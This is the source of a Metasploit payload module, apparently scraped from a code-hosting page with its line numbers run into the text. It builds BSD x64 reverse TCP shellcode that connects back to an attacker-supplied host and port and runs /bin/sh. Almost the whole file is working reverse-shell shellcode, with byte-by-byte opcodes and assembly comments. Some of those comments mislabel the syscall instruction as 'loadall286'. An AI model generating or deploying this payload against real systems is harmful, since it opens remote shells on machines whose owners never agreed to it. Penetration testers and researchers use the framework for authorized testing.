Path: blob/master/modules/payloads/singles/bsd/x64/shell_reverse_tcp.rb
19664 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 9878include Msf::Payload::Single9include Msf::Payload::Bsd10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'BSD x64 Shell Reverse TCP',17'Description' => 'Connect back to attacker and spawn a command shell',18'Author' => [19'nemo <nemo[at]felinemenace.org>',20'joev' # copy pasta monkey21],22'License' => MSF_LICENSE,23'Platform' => 'bsd',24'Arch' => ARCH_X64,25'Handler' => Msf::Handler::ReverseTcp,26'Session' => Msf::Sessions::CommandShellUnix27)28)2930# exec payload options3132register_options(33[34OptString.new('CMD', [ true, 'The command string to execute', '/bin/sh' ]),35Opt::LHOST,36Opt::LPORT(4444)37]38)39end4041# build the shellcode payload dynamically based on the user-provided CMD42def generate(_opts = {})43lhost = datastore['LHOST'] || '127.0.0.1'4445# OptAddress allows either an IP or hostname, we only want IPv446if !Rex::Socket.is_ipv4?(lhost)47raise ArgumentError, 'LHOST must be in IPv4 format.'48end4950cmd = (datastore['CMD'] || '') + "\x00"51port = [datastore['LPORT'].to_i].pack('n')52ipaddr = [lhost.split('.').inject(0) { |t, v| (t << 8) + v.to_i }].pack('N')5354call = "\xe8" + [cmd.length].pack('V')55"\x31\xc0" + # xor eax,eax56"\x83\xc0\x61" + # add eax,0x6157"\x6A\x02" + # push byte +0x258"\x5F" + # pop rdi59"\x6A\x01" + # push byte +0x160"\x5E" + # pop rsi61"\x48\x31\xD2" + # xor rdx,rdx62"\x0F\x05" + # loadall28663"\x49\x89\xC4" + # mov r12,rax64"\x48\x89\xC7" + # mov rdi,rax65"\x31\xc0" + # xor eax,eax66"\x83\xc0\x62" + # add eax,0x6267"\x48\x31\xF6" + # xor rsi,rsi68"\x56" + # push rsi69"\x48\xBE\x00\x02" + port + # mov rsi,0x100007fb315020070ipaddr +71"\x56" + # push rsi72"\x48\x89\xE6" + # mov rsi,rsp73"\x6A\x10" + # push byte +0x1074"\x5A" + # pop rdx75"\x0F\x05" + # loadall28676"\x4C\x89\xE7" + # mov rdi,r1277"\x6A\x03" + # push byte +0x378"\x5E" + # pop rsi79"\x48\xFF\xCE" + # dec rsi80"\x6A\x5A" + # push +byte 0x5a81"\x58" + # pop rax82"\x0F\x05" + # loadall28683"\x75\xF6" + # jne -0x884"\x31\xc0" + # xor eax,eax85"\x83\xc0\x3B" + # add eax,0x3b86call + # call CMD.len87cmd + # CMD88"\x48\x8B\x3C\x24" + # mov rdi,[rsp]89"\x48\x31\xD2" + # xor rdx,rdx90"\x52" + # push rdx91"\x57" + # push rdi92"\x48\x89\xE6" + # mov rsi,rsp93"\x0F\x05" # loadall28694end95end969798